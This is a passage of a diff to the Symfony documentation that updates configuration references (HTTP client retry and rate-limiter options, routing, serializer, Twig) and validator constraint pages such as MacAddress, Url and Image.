 ``STREAM_CRYPTO_METHOD_TLSv*_CLIENT`` constants defined by PHP.
 
+.. _reference-http-client-retry-delay:
+
 delay
 .....
 
@@ -1036,6 +1007,8 @@ headers
 An associative array of the HTTP headers added before making the request. This
 value must use the format ``['header-name' => 'value0, value1, ...']``.
 
+.. _reference-http-client-retry-http-codes:
+
 http_codes
 ..........
 
@@ -1051,6 +1024,8 @@ http_version
 The HTTP version to use, typically ``'1.1'``  or ``'2.0'``. Leave it to ``null``
 to let Symfony select the best version automatically.
 
+.. _reference-http-client-retry-jitter:
+
 jitter
 ......
 
@@ -1078,6 +1053,8 @@ local_pk
 The path of a file that contains the `PEM formatted`_ private key of the
 certificate defined in the ``local_cert`` option.
 
+.. _reference-http-client-retry-max-delay:
+
 max_delay
 .........
 
@@ -1112,6 +1089,8 @@ max_redirects
 The maximum number of redirects to follow. Use ``0`` to not follow any
 redirection.
 
+.. _reference-http-client-retry-max-retries:
+
 max_retries
 ...........
 
@@ -1120,6 +1099,8 @@ max_retries
 The maximum number of retries for failing requests. When the maximum is reached,
 the client returns the last received response.
 
+.. _reference-http-client-retry-multiplier:
+
 multiplier
 ..........
 
@@ -1174,6 +1155,19 @@ query
 An associative array of the query string values added to the URL before making
 the request. This value must use the format ``['parameter-name' => parameter-value, ...]``.
 
+rate_limiter
+............
+
+**type**: ``string``
+
+The service ID of the rate limiter used to limit the number of HTTP requests
+within a certain period. The service must implement the
+:class:`Symfony\\Component\\RateLimiter\\LimiterInterface`.
+
+.. versionadded:: 7.1
+
+    The ``rate_limiter`` option was introduced in Symfony 7.1.
+
 resolve
 .......
 
@@ -1187,6 +1181,50 @@ client and to make your tests easier.
 The value of this option is an associative array of ``domain => IP address``
 (e.g ``['symfony.com' => '46.137.106.254', ...]``).
 
+.. _reference-http-client-retry-failed:
+
+retry_failed
+............
+
+**type**: ``array``
+
+This option configures the behavior of the HTTP client when some request fails,
+including which types of requests to retry and how many times. The behavior is
+defined with the following options:
+
+* :ref:`delay <reference-http-client-retry-delay>`
+* :ref:`http_codes <reference-http-client-retry-http-codes>`
+* :ref:`jitter <reference-http-client-retry-jitter>`
+* :ref:`max_delay <reference-http-client-retry-max-delay>`
+* :ref:`max_retries <reference-http-client-retry-max-retries>`
+* :ref:`multiplier <reference-http-client-retry-multiplier>`
+
+.. code-block:: yaml
+
+    # config/packages/framework.yaml
+    framework:
+        # ...
+        http_client:
+            # ...
+            default_options:
+                retry_failed:
+                    # retry_strategy: app.custom_strategy
+                    http_codes:
+                        0: ['GET', 'HEAD']   # retry network errors if request method is GET or HEAD
+                        429: true            # retry all responses with 429 status code
+                        500: ['GET', 'HEAD']
+                    max_retries: 2
+                    delay: 1000
+                    multiplier: 3
+                    max_delay: 5000
+                    jitter: 0.3
+
+            scoped_clients:
+                my_api.client:
+                    # ...
+                    retry_failed:
+                        max_retries: 4
+
 retry_strategy
 ..............
 
@@ -1514,15 +1552,7 @@ The directory where routing information will be cached. Can be set to
 .. deprecated:: 7.1
 
     Setting the ``cache_dir`` option is deprecated since Symfony 7.1. The routes
-    are now always cached in the ``%kernel.build_dir%`` directory. If you want
-    to disable route caching, set the ``ignore_cache`` option to ``true``.
-
-ignore_cache
-............
-
-**type**: ``boolean`` **default**: ``false``
-
-When this option is set to ``true``, routing information will not be cached.
+    are now always cached in the ``%kernel.build_dir%`` directory.
 
 secrets
 ~~~~~~~
@@ -1799,7 +1829,7 @@ cookie_httponly
 This determines whether cookies should only be accessible through the HTTP
 protocol. This means that the cookie won't be accessible by scripting
 languages, such as JavaScript. This setting can effectively help to reduce
-identity theft through XSS attacks.
+identity theft through :ref:`XSS attacks <xss-attacks>`.
 
 gc_divisor
 ..........
@@ -2881,11 +2911,11 @@ enable_attributes
 
 **type**: ``boolean`` **default**: ``true``
 
-If this option is enabled, serialization groups can be defined using `PHP attributes`_.
+Enables support for `PHP attributes`_ in the serializer component.
 
 .. seealso::
 
-    For more information, see :ref:`serializer-using-serialization-groups-attributes`.
+    See :ref:`the reference <reference-attributes-serializer>` for a list of supported annotations.
 
 .. _reference-serializer-name_converter:
 
@@ -2901,8 +2931,7 @@ value.
 
 .. seealso::
 
-    For more information, see
-    :ref:`component-serializer-converting-property-names-when-serializing-and-deserializing`.
+    For more information, see :ref:`serializer-name-conversion`.
 
 .. _reference-serializer-circular_reference_handler:
 
@@ -3199,7 +3228,7 @@ settings from the base pool as defaults.
 
 .. note::
 
-    Your service MUST implement the ``Psr\Cache\CacheItemPoolInterface`` interface.
+    Your service needs to implement the ``Psr\Cache\CacheItemPoolInterface`` interface.
 
 public
 """"""
diff --git a/reference/configuration/kernel.rst b/reference/configuration/kernel.rst
index 813cd41223c..b7596182906 100644
--- a/reference/configuration/kernel.rst
+++ b/reference/configuration/kernel.rst
@@ -256,7 +256,7 @@ method of the kernel class, which you can override to return a different value.
 ``kernel.project_dir``
 ----------------------
 
-**type**: ``string`` **default**: the directory of the project ``composer.json``
+**type**: ``string`` **default**: the directory of the project's ``composer.json``
 
 This parameter stores the absolute path of the root directory of your Symfony application,
 which is used by applications to perform operations with file paths relative to
@@ -283,6 +283,8 @@ have deleted it entirely (for example in the production servers), override the
 
         public function getProjectDir(): string
         {
+            // when defining a hardcoded string, don't add the trailing slash to the path
+            // e.g. '/home/user/my_project', '/app', '/var/www/example.com'
             return \dirname(__DIR__);
         }
     }
diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index 590f2472425..757dc7313cd 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -330,10 +330,10 @@ form_only
 **type**: ``boolean`` **default**: ``false``
 
 Set this option to ``true`` to require that the login data is sent using a form
-(it checks that the request content-type is ``application/x-www-form-urlencoded``).
-This is useful for example to prevent the :ref:`form login authenticator <security-form-login>`
-from responding to requests that should be handled by the
-:ref:`JSON login authenticator <security-json-login>`.
+(it checks that the request content-type is ``application/x-www-form-urlencoded``
+or ``multipart/form-data``). This is useful for example to prevent the
+:ref:`form login authenticator <security-form-login>` from responding to
+requests that should be handled by the :ref:`JSON login authenticator <security-json-login>`.
 
 use_forward
 ...........
@@ -1063,9 +1063,6 @@ the session must not be used when authenticating users:
             // ...
         };
 
-Routes under this firewall will be :ref:`configured stateless <stateless-routing>`
-when they are not explicitly configured stateless or not.
-
 User Checkers
 ~~~~~~~~~~~~~
 
diff --git a/reference/configuration/twig.rst b/reference/configuration/twig.rst
index 883b0b11eb7..596d70d8a2b 100644
--- a/reference/configuration/twig.rst
+++ b/reference/configuration/twig.rst
@@ -38,8 +38,8 @@ autoescape_service
 
 **type**: ``string`` **default**: ``null``
 
-The escaping strategy applied by default to the template is determined during
-compilation time based on the filename of the template. This means for example
+The escaping strategy applied by default to the template (to prevent :ref:`XSS attacks <xss-attacks>`)
+is determined during compilation time based on the filename of the template. This means for example
 that the contents of a ``*.html.twig`` template are escaped for HTML and the
 contents of ``*.js.twig`` are escaped for JavaScript.
 
@@ -62,6 +62,10 @@ base_template_class
 
 **type**: ``string`` **default**: ``Twig\Template``
 
+.. deprecated:: 7.1
+
+    The ``base_template_class`` option is deprecated since Symfony 7.1.
+
 Twig templates are compiled into PHP classes before using them to render
 contents. This option defines the base class from which all the template classes
 extend. Using a custom base template is discouraged because it will make your
diff --git a/reference/configuration/web_profiler.rst b/reference/configuration/web_profiler.rst
index f0b11f47064..93c65621999 100644
--- a/reference/configuration/web_profiler.rst
+++ b/reference/configuration/web_profiler.rst
@@ -20,7 +20,7 @@ under the ``web_profiler`` key in your application configuration.
     namespace and the related XSD schema is available at:
     ``https://symfony.com/schema/dic/webprofiler/webprofiler-1.0.xsd``
 
-.. caution::
+.. warning::
 
     The web debug toolbar is not available for responses of type ``StreamedResponse``.
 
diff --git a/reference/constraints/Callback.rst b/reference/constraints/Callback.rst
index 3424d47c9d3..f4c78a9642a 100644
--- a/reference/constraints/Callback.rst
+++ b/reference/constraints/Callback.rst
@@ -245,7 +245,7 @@ constructor of the Callback constraint::
         }
     }
 
-.. caution::
+.. warning::
 
     Using a ``Closure`` together with attribute configuration will disable the
     attribute cache for that class/property/method because ``Closure`` cannot
@@ -271,14 +271,16 @@ callback method:
 * A closure.
 
 Concrete callbacks receive an :class:`Symfony\\Component\\Validator\\Context\\ExecutionContextInterface`
-instance as the first argument and the :ref:`payload option <reference-constraints-payload>`
+instance as the first argument and the :ref:`payload option <reference-constraints-callback-payload>`
 as the second argument.
 
 Static or closure callbacks receive the validated object as the first argument,
 the :class:`Symfony\\Component\\Validator\\Context\\ExecutionContextInterface`
-instance as the second argument and the :ref:`payload option <reference-constraints-payload>`
+instance as the second argument and the :ref:`payload option <reference-constraints-callback-payload>`
 as the third argument.
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
+.. _reference-constraints-callback-payload:
+
 .. include:: /reference/constraints/_payload-option.rst.inc
diff --git a/reference/constraints/Charset.rst b/reference/constraints/Charset.rst
index 4f1a260356f..084f24cdf76 100644
--- a/reference/constraints/Charset.rst
+++ b/reference/constraints/Charset.rst
@@ -88,8 +88,8 @@ Options
 
 An encoding or a set of encodings to check against. If you pass an array of
 encodings, the validator will check if the value is encoded in *any* of the
-encodings. This option accepts any value that can be passed to
-:phpfunction:`mb_detect_encoding`.
+encodings. This option accepts any value that can be passed to the
+:phpfunction:`mb_detect_encoding` PHP function.
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
diff --git a/reference/constraints/Choice.rst b/reference/constraints/Choice.rst
index 8bafaaede7b..5a9c365be37 100644
--- a/reference/constraints/Choice.rst
+++ b/reference/constraints/Choice.rst
@@ -389,29 +389,3 @@ Parameter        Description
 ===============  ==============================================================
 
 .. include:: /reference/constraints/_payload-option.rst.inc
-
-``separator``
-~~~~~~~~~~~~~
-
-**type**: ``string`` **default**: ``-------------------``
-
-This option allows you to customize the visual separator shown after the preferred
-choices. You can use HTML elements like ``<hr>`` to display a more modern separator,
-but you'll also need to set the `separator_html`_ option to ``true``.
-
-.. versionadded:: 7.1
-
-    The ``separator`` option was introduced in Symfony 7.1.
-
-``separator_html``
-~~~~~~~~~~~~~~~~~~
-
-**type**: ``boolean`` **default**: ``false``
-
-If this option is true, the `separator`_ option will be displayed as HTML instead
-of text. This is useful when using HTML elements (e.g. ``<hr>``) as a more modern
-visual separator.
-
-.. versionadded:: 7.1
-
-    The ``separator_html`` option was introduced in Symfony 7.1.
diff --git a/reference/constraints/Cidr.rst b/reference/constraints/Cidr.rst
index 24abeb57338..78a5b6c7167 100644
--- a/reference/constraints/Cidr.rst
+++ b/reference/constraints/Cidr.rst
@@ -95,7 +95,7 @@ It's a constraint for the lowest value a valid netmask may have.
 ``netmaskMax``
 ~~~~~~~~~~~~~~
 
-**type**: ``string`` **default**: ``32`` for IPv4 or ``128`` for IPv6
+**type**: ``integer`` **default**: ``32`` for IPv4 or ``128`` for IPv6
 
 It's a constraint for the biggest value a valid netmask may have.
 
@@ -126,6 +126,14 @@ Parameter        Description
 This determines exactly *how* the CIDR notation is validated and can take one
 of :ref:`IP version ranges <reference-constraint-ip-version>`.
 
+.. note::
+
+    The IP range checks (e.g., ``*_private``, ``*_reserved``) validate only the
+    IP address, not the entire netmask. To improve validation, you can set the
+    ``{{ min }}`` value for the netmask. For example, the range ``9.0.0.0/6`` is
+    considered ``*_public``, but it also includes the ``10.0.0.0/8`` range, which
+    is categorized as ``*_private``.
+
 .. versionadded:: 7.1
 
     The support of all IP version ranges was introduced in Symfony 7.1.
diff --git a/reference/constraints/EqualTo.rst b/reference/constraints/EqualTo.rst
index d2f151adea8..d5d78f60a0f 100644
--- a/reference/constraints/EqualTo.rst
+++ b/reference/constraints/EqualTo.rst
@@ -4,7 +4,7 @@ EqualTo
 Validates that a value is equal to another value, defined in the options.
 To force that a value is *not* equal, see :doc:`/reference/constraints/NotEqualTo`.
 
-.. caution::
+.. warning::
 
     This constraint compares using ``==``, so ``3`` and ``"3"`` are considered
     equal. Use :doc:`/reference/constraints/IdenticalTo` to compare with
diff --git a/reference/constraints/File.rst b/reference/constraints/File.rst
index 13aec13b0d5..6d9b72d17b8 100644
--- a/reference/constraints/File.rst
+++ b/reference/constraints/File.rst
@@ -40,7 +40,7 @@ type. The ``Author`` class might look as follows::
     {
         protected File $bioFile;
 
-        public function setBioFile(File $file = null): void
+        public function setBioFile(?File $file = null): void
         {
             $this->bioFile = $file;
         }
@@ -242,7 +242,7 @@ Parameter         Description
 
 **type**: ``array`` or ``string``
 
-.. caution::
+.. warning::
 
     You should always use the ``extensions`` option instead of ``mimeTypes``
     except if you explicitly don't want to check that the extension of the file
@@ -298,7 +298,12 @@ Parameter                       Description
 The message displayed if the extension of the file is not a valid extension
 per the `extensions`_ option.
 
-.. include:: /reference/constraints/_parameters-mime-types-message-option.rst.inc
+====================  ==============================================================
+Parameter             Description
+====================  ==============================================================
+``{{ extension }}``   The extension of the given file
+``{{ extensions }}``  The list of allowed file extensions
+====================  ==============================================================
 
 ``mimeTypesMessage``
 ~~~~~~~~~~~~~~~~~~~~
diff --git a/reference/constraints/IdenticalTo.rst b/reference/constraints/IdenticalTo.rst
index 507493b63d4..5b6d853dc0b 100644
--- a/reference/constraints/IdenticalTo.rst
+++ b/reference/constraints/IdenticalTo.rst
@@ -5,7 +5,7 @@ Validates that a value is identical to another value, defined in the options.
 To force that a value is *not* identical, see
 :doc:`/reference/constraints/NotIdenticalTo`.
 
-.. caution::
+.. warning::
 
     This constraint compares using ``===``, so ``3`` and ``"3"`` are *not*
     considered equal. Use :doc:`/reference/constraints/EqualTo` to compare
diff --git a/reference/constraints/Image.rst b/reference/constraints/Image.rst
index 22a7bc1a688..042c6041423 100644
--- a/reference/constraints/Image.rst
+++ b/reference/constraints/Image.rst
@@ -35,7 +35,7 @@ would be a ``file`` type. The ``Author`` class might look as follows::
     {
         protected File $headshot;
 
-        public function setHeadshot(File $file = null): void
+        public function setHeadshot(?File $file = null): void
         {
             $this->headshot = $file;
         }
@@ -210,6 +210,11 @@ add several other options.
 
 If this option is false, the image cannot be landscape oriented.
 
+.. note::
+
+    This option does not apply to SVG files. If you use it with SVG files,
+    you'll see the error message defined in the ``sizeNotDetectedMessage`` option.
+
 ``allowLandscapeMessage``
 ~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -234,6 +239,11 @@ Parameter         Description
 
 If this option is false, the image cannot be portrait oriented.
 
+.. note::
+
+    This option does not apply to SVG files. If you use it with SVG files,
+    you'll see the error message defined in the ``sizeNotDetectedMessage`` option.
+
 ``allowPortraitMessage``
 ~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -260,6 +270,11 @@ If this option is false, the image cannot be a square. If you want to force
 a square image, then leave this option as its default ``true`` value
 and set `allowLandscape`_ and `allowPortrait`_ both to ``false``.
 
+.. note::
+
+    This option does not apply to SVG files. If you use it with SVG files,
+    you'll see the error message defined in the ``sizeNotDetectedMessage`` option.
+
 ``allowSquareMessage``
 ~~~~~~~~~~~~~~~~~~~~~~
 
@@ -358,6 +373,11 @@ Parameter             Description
 If set, the aspect ratio (``width / height``) of the image file must be less
 than or equal to this value.
 
+.. note::
+
+    This option does not apply to SVG files. If you use it with SVG files,
+    you'll see the error message defined in the ``sizeNotDetectedMessage`` option.
+
 ``maxRatioMessage``
 ~~~~~~~~~~~~~~~~~~~
 
@@ -477,6 +497,11 @@ Parameter             Description
 If set, the aspect ratio (``width / height``) of the image file must be greater
 than or equal to this value.
 
+.. note::
+
+    This option does not apply to SVG files. If you use it with SVG files,
+    you'll see the error message defined in the ``sizeNotDetectedMessage`` option.
+
 ``minRatioMessage``
 ~~~~~~~~~~~~~~~~~~~
 
@@ -530,5 +555,11 @@ options has been set.
 
 This message has no parameters.
 
+.. note::
+
+    Detecting the size of SVG images is not supported. This error message will
+    be displayed if you use any of the following options: ``allowLandscape``,
+    ``allowPortrait``, ``allowSquare``, ``maxRatio``, and ``minRatio``.
+
 .. _`IANA website`: https://www.iana.org/assignments/media-types/media-types.xhtml
 .. _`PHP GD extension`: https://www.php.net/manual/en/book.image.php
diff --git a/reference/constraints/MacAddress.rst b/reference/constraints/MacAddress.rst
index 8055b53ff4a..9a282ddf118 100644
--- a/reference/constraints/MacAddress.rst
+++ b/reference/constraints/MacAddress.rst
@@ -19,18 +19,18 @@ Basic Usage
 -----------
 
 To use the MacAddress validator, apply it to a property on an object that
-will contain a host name.
+can contain a MAC address:
 
 .. configuration-block::
 
     .. code-block:: php-attributes
 
-        // src/Entity/Author.php
+        // src/Entity/Device.php
         namespace App\Entity;
 
         use Symfony\Component\Validator\Constraints as Assert;
 
-        class Author
+        class Device
         {
             #[Assert\MacAddress]
             protected string $mac;
@@ -39,7 +39,7 @@ will contain a host name.
     .. code-block:: yaml
 
         # config/validator/validation.yaml
-        App\Entity\Author:
+        App\Entity\Device:
             properties:
                 mac:
                     - MacAddress: ~
@@ -52,7 +52,7 @@ will contain a host name.
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd">
 
-            <class name="App\Entity\Author">
+            <class name="App\Entity\Device">
                 <property name="max">
                     <constraint name="MacAddress"/>
                 </property>
@@ -61,13 +61,13 @@ will contain a host name.
 
     .. code-block:: php
 
-        // src/Entity/Author.php
+        // src/Entity/Device.php
         namespace App\Entity;
 
         use Symfony\Component\Validator\Constraints as Assert;
         use Symfony\Component\Validator\Mapping\ClassMetadata;
 
-        class Author
+        class Device
         {
             // ...
 
@@ -103,4 +103,37 @@ Parameter            Description
 
 .. include:: /reference/constraints/_payload-option.rst.inc
 
+.. _reference-constraint-mac-address-type:
+
+``type``
+~~~~~~~~
+
+**type**: ``string`` **default**: ``all``
+
+.. versionadded:: 7.1
+
+    The ``type`` option was introduced in Symfony 7.1.
+
+This option defines the kind of MAC addresses that are allowed. There are a lot
+of different possible values based on your needs:
+
+================================  =========================================
+Parameter                         Allowed MAC addresses
+================================  =========================================
+``all``                           All
+``all_no_broadcast``              All except broadcast
+``broadcast``                     Only broadcast
+``local_all``                     Only local
+``local_multicast_no_broadcast``  Only local and multicast except broadcast
+``local_multicast``               Only local and multicast
+``local_no_broadcast``            Only local except broadcast
+``local_unicast``                 Only local and unicast
+``multicast_all``                 Only multicast
+``multicast_no_broadcast``        Only multicast except broadcast
+``unicast_all``                   Only unicast
+``universal_all``                 Only universal
+``universal_unicast``             Only universal and unicast
+``universal_multicast``           Only universal and multicast
+================================  =========================================
+
 .. _`MAC address`: https://en.wikipedia.org/wiki/MAC_address
diff --git a/reference/constraints/NotEqualTo.rst b/reference/constraints/NotEqualTo.rst
index 37b03c35907..b8ee4cac32f 100644
--- a/reference/constraints/NotEqualTo.rst
+++ b/reference/constraints/NotEqualTo.rst
@@ -5,7 +5,7 @@ Validates that a value is **not** equal to another value, defined in the
 options. To force that a value is equal, see
 :doc:`/reference/constraints/EqualTo`.
 
-.. caution::
+.. warning::
 
     This constraint compares using ``!=``, so ``3`` and ``"3"`` are considered
     equal. Use :doc:`/reference/constraints/NotIdenticalTo` to compare with
diff --git a/reference/constraints/NotIdenticalTo.rst b/reference/constraints/NotIdenticalTo.rst
index ba28fdb7c45..9ea93dc4b86 100644
--- a/reference/constraints/NotIdenticalTo.rst
+++ b/reference/constraints/NotIdenticalTo.rst
@@ -5,7 +5,7 @@ Validates that a value is **not** identical to another value, defined in
 the options. To force that a value is identical, see
 :doc:`/reference/constraints/IdenticalTo`.
 
-.. caution::
+.. warning::
 
     This constraint compares using ``!==``, so ``3`` and ``"3"`` are
     considered not equal. Use :doc:`/reference/constraints/NotEqualTo` to
diff --git a/reference/constraints/Regex.rst b/reference/constraints/Regex.rst
index bc042e1eb86..2e11a8d04fc 100644
--- a/reference/constraints/Regex.rst
+++ b/reference/constraints/Regex.rst
@@ -163,7 +163,7 @@ Options
 ``htmlPattern``
 ~~~~~~~~~~~~~~~
 
-**type**: ``string|boolean`` **default**: ``null``
+**type**: ``string|null`` **default**: ``null``
 
 This option specifies the pattern to use in the HTML5 ``pattern`` attribute.
 You usually don't need to specify this option because by default, the constraint
@@ -243,7 +243,7 @@ need to specify the HTML5 compatible pattern in the ``htmlPattern`` option:
             }
         }
 
-Setting ``htmlPattern`` to false will disable client side validation.
+Setting ``htmlPattern`` to the empty string will disable client side validation.
 
 ``match``
 ~~~~~~~~~
diff --git a/reference/constraints/Type.rst b/reference/constraints/Type.rst
index b8f41fbd524..b99e8ce1c54 100644
--- a/reference/constraints/Type.rst
+++ b/reference/constraints/Type.rst
@@ -14,7 +14,11 @@ Validator   :class:`Symfony\\Component\\Validator\\Constraints\\TypeValidator`
 Basic Usage
 -----------
 
-This will check if ``emailAddress`` is an instance of ``Symfony\Component\Mime\Address``,
+This constraint should be applied to untyped variables/properties. If a property
+or variable is typed and you pass a value of a different type, PHP will throw an
+exception before this constraint is checked.
+
+The following example checks if ``emailAddress`` is an instance of ``Symfony\Component\Mime\Address``,
 ``firstName`` is of type ``string`` (using :phpfunction:`is_string` PHP function),
 ``age`` is an ``integer`` (using :phpfunction:`is_int` PHP function) and
 ``accessCode`` contains either only letters or only digits (using
@@ -33,19 +37,19 @@ This will check if ``emailAddress`` is an instance of ``Symfony\Component\Mime\A
         class Author
         {
             #[Assert\Type(Address::class)]
-            protected Address $emailAddress;
+            protected $emailAddress;
 
             #[Assert\Type('string')]
-            protected string $firstName;
+            protected $firstName;
 
             #[Assert\Type(
                 type: 'integer',
                 message: 'The value {{ value }} is not a valid {{ type }}.',
             )]
-            protected int $age;
+            protected $age;
 
             #[Assert\Type(type: ['alpha', 'digit'])]
-            protected string $accessCode;
+            protected $accessCode;
         }
 
     .. code-block:: yaml
diff --git a/reference/constraints/UniqueEntity.rst b/reference/constraints/UniqueEntity.rst
index 32f46e365fe..d4fbfeb8666 100644
--- a/reference/constraints/UniqueEntity.rst
+++ b/reference/constraints/UniqueEntity.rst
@@ -126,14 +126,14 @@ between all of the rows in your user table:
             }
         }
 
-.. caution::
+.. warning::
 
     This constraint doesn't provide any protection against `race conditions`_.
     They may occur when another entity is persisted by an external process after
     this validation has passed and before this entity is actually persisted in
     the database.
 
-.. caution::
+.. warning::
 
     This constraint cannot deal with duplicates found in a collection of items
     that haven't been persisted as entities yet. You'll need to create your own
@@ -188,8 +188,8 @@ Consider this example:
         #[ORM\Entity]
         #[UniqueEntity(
             fields: ['host', 'port'],
-            errorPath: 'port',
             message: 'This port is already in use on that host.',
+            errorPath: 'port',
         )]
         class Service
         {
@@ -207,8 +207,8 @@ Consider this example:
             constraints:
                 - Symfony\Bridge\Doctrine\Validator\Constraints\UniqueEntity:
                     fields: [host, port]
-                    errorPath: port
                     message: 'This port is already in use on that host.'
+                    errorPath: port
 
     .. code-block:: xml
 
@@ -224,8 +224,8 @@ Consider this example:
                         <value>host</value>
                         <value>port</value>
                     </option>
-                    <option name="errorPath">port</option>
                     <option name="message">This port is already in use on that host.</option>
+                    <option name="errorPath">port</option>
                 </constraint>
             </class>
 
@@ -249,8 +249,8 @@ Consider this example:
             {
                 $metadata->addConstraint(new UniqueEntity([
                     'fields' => ['host', 'port'],
-                    'errorPath' => 'port',
                     'message' => 'This port is already in use on that host.',
+                    'errorPath' => 'port',
                 ]));
             }
         }
@@ -355,7 +355,7 @@ this option to specify one or more fields to only ignore ``null`` values on them
             }
         }
 
-.. caution::
+.. warning::
 
     If you ``ignoreNull`` on fields that are part of a unique index in your
     database, you might see insertion errors when your application attempts to
diff --git a/reference/constraints/Url.rst b/reference/constraints/Url.rst
index 2c3420df7c6..74f0d750dfd 100644
--- a/reference/constraints/Url.rst
+++ b/reference/constraints/Url.rst
@@ -307,3 +307,119 @@ also relative URLs that contain no protocol (e.g. ``//example.com``).
                 ]));
             }
         }
+
+``requireTld``
+~~~~~~~~~~~~~~
+
+**type**: ``boolean`` **default**: ``false``
+
+.. versionadded:: 7.1
+
+    The ``requireTld`` option was introduced in Symfony 7.1.
+
+.. deprecated:: 7.1
+
+    Not setting the ``requireTld`` option is deprecated since Symfony 7.1
+    and will default to ``true`` in Symfony 8.0.
+
+By default, URLs like ``https://aaa`` or ``https://foobar`` are considered valid
+because they are tecnically correct according to the `URL spec`_. If you set this option
+to ``true``, the host part of the URL will have to include a TLD (top-level domain
+name): e.g. ``https://example.com`` will be valid but ``https://example`` won't.
+
+.. note::
+
+    This constraint does not validate that the given TLD value is included in
+    the `list of official top-level domains`_ (because that list is growing
+    continuously and it's hard to keep track of it).
+
+``tldMessage``
+~~~~~~~~~~~~~~
+
+**type**: ``string`` **default**: ``This URL does not contain a TLD.``
+
+.. versionadded:: 7.1
+
+    The ``tldMessage`` option was introduced in Symfony 7.1.
+
+This message is shown if the ``requireTld`` option is set to ``true`` and the URL
+does not contain at least one TLD.
+
+You can use the following parameters in this message:
+
+===============  ==============================================================
+Parameter        Description
+===============  ==============================================================
+``{{ value }}``  The current (invalid) value
+``{{ label }}``  Corresponding form field label
+===============  ==============================================================
+
+.. configuration-block::
+
+    .. code-block:: php-attributes
+
+        // src/Entity/Website.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Website
+        {
+            #[Assert\Url(
+                requireTld: true,
+                tldMessage: 'Add at least one TLD to the {{ value }} URL.',
+            )]
+            protected string $homepageUrl;
+        }
+
+    .. code-block:: yaml
+
+        # config/validator/validation.yaml
+        App\Entity\Website:
+            properties:
+                homepageUrl:
+                    - Url:
+                        requireTld: true
+                        tldMessage: Add at least one TLD to the {{ value }} URL.
+
+    .. code-block:: xml
+
+        <!-- config/validator/validation.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <constraint-mapping xmlns="http://symfony.com/schema/dic/constraint-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd">
+
+            <class name="App\Entity\Website">
+                <property name="homepageUrl">
+                    <constraint name="Url">
+                        <option name="requireTld">true</option>
+                        <option name="tldMessage">Add at least one TLD to the {{ value }} URL.</option>
+                    </constraint>
+                </property>
+            </class>
+        </constraint-mapping>
+
+    .. code-block:: php
+
+        // src/Entity/Website.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+        use Symfony\Component\Validator\Mapping\ClassMetadata;
+
+        class Website
+        {
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
+            {
+                $metadata->addPropertyConstraint('homepageUrl', new Assert\Url([
+                    'requireTld' => true,
+                    'tldMessage' => 'Add at least one TLD to the {{ value }} URL.',
+                ]));
+            }
+        }
+
+.. _`URL spec`: https://datatracker.ietf.org/doc/html/rfc1738
+.. _`list of official top-level domains`: https://en.wikipedia.org/wiki/List_of_Internet_top-level_domains
diff --git a/reference/constraints/_payload-option.rst.inc b/reference/constraints/_payload-option.rst.inc
index a76c9a4a29d..5121ba1ae51 100644
--- a/reference/constraints/_payload-option.rst.inc
+++ b/reference/constraints/_payload-option.rst.inc
@@ -1,5 +1,3 @@
-.. _reference-constraints-payload:
-
 ``payload``
 ~~~~~~~~~~~
 
diff --git a/reference/constraints/map.rst.inc b/reference/constraints/map.rst.inc
index 690e98c6bf9..706742dfde5 100644
--- a/reference/constraints/map.rst.inc
+++ b/reference/constraints/map.rst.inc
@@ -4,57 +4,64 @@ Basic Constraints
 These are the basic constraints: use them to assert very basic things about
 the value of properties or the return value of methods on your object.
 
-* :doc:`NotBlank </reference/constraints/NotBlank>`
+.. class:: ui-list-two-columns
+
 * :doc:`Blank </reference/constraints/Blank>`
-* :doc:`NotNull </reference/constraints/NotNull>`
+* :doc:`IsFalse </reference/constraints/IsFalse>`
 * :doc:`IsNull </reference/constraints/IsNull>`
 * :doc:`IsTrue </reference/constraints/IsTrue>`
-* :doc:`IsFalse </reference/constraints/IsFalse>`
+* :doc:`NotBlank </reference/constraints/NotBlank>`
+* :doc:`NotNull </reference/constraints/NotNull>`
 * :doc:`Type </reference/constraints/Type>`
 
 String Constraints
 ~~~~~~~~~~~~~~~~~~
 
+.. class:: ui-list-three-columns
+
+* :doc:`Charset </reference/constraints/Charset>`
+* :doc:`Cidr </reference/constraints/Cidr>`
+* :doc:`CssColor </reference/constraints/CssColor>`
 * :doc:`Email </reference/constraints/Email>`
 * :doc:`ExpressionSyntax </reference/constraints/ExpressionSyntax>`
-* :doc:`Length </reference/constraints/Length>`
-* :doc:`Url </reference/constraints/Url>`
-* :doc:`Regex </reference/constraints/Regex>`
 * :doc:`Hostname </reference/constraints/Hostname>`
 * :doc:`Ip </reference/constraints/Ip>`
-* :doc:`Cidr </reference/constraints/Cidr>`
 * :doc:`Json </reference/constraints/Json>`
-* :doc:`Uuid </reference/constraints/Uuid>`
-* :doc:`Ulid </reference/constraints/Ulid>`
-* :doc:`UserPassword </reference/constraints/UserPassword>`
+* :doc:`Length </reference/constraints/Length>`
+* :doc:`MacAddress </reference/constraints/MacAddress>`
+* :doc:`NoSuspiciousCharacters </reference/constraints/NoSuspiciousCharacters>`
 * :doc:`NotCompromisedPassword </reference/constraints/NotCompromisedPassword>`
 * :doc:`PasswordStrength </reference/constraints/PasswordStrength>`
-* :doc:`CssColor </reference/constraints/CssColor>`
-* :doc:`NoSuspiciousCharacters </reference/constraints/NoSuspiciousCharacters>`
-* :doc:`Charset </reference/constraints/Charset>`
-* :doc:`MacAddress </reference/constraints/MacAddress>`
+* :doc:`Regex </reference/constraints/Regex>`
+* :doc:`Ulid </reference/constraints/Ulid>`
+* :doc:`Url </reference/constraints/Url>`
+* :doc:`UserPassword </reference/constraints/UserPassword>`
+* :doc:`Uuid </reference/constraints/Uuid>`
 
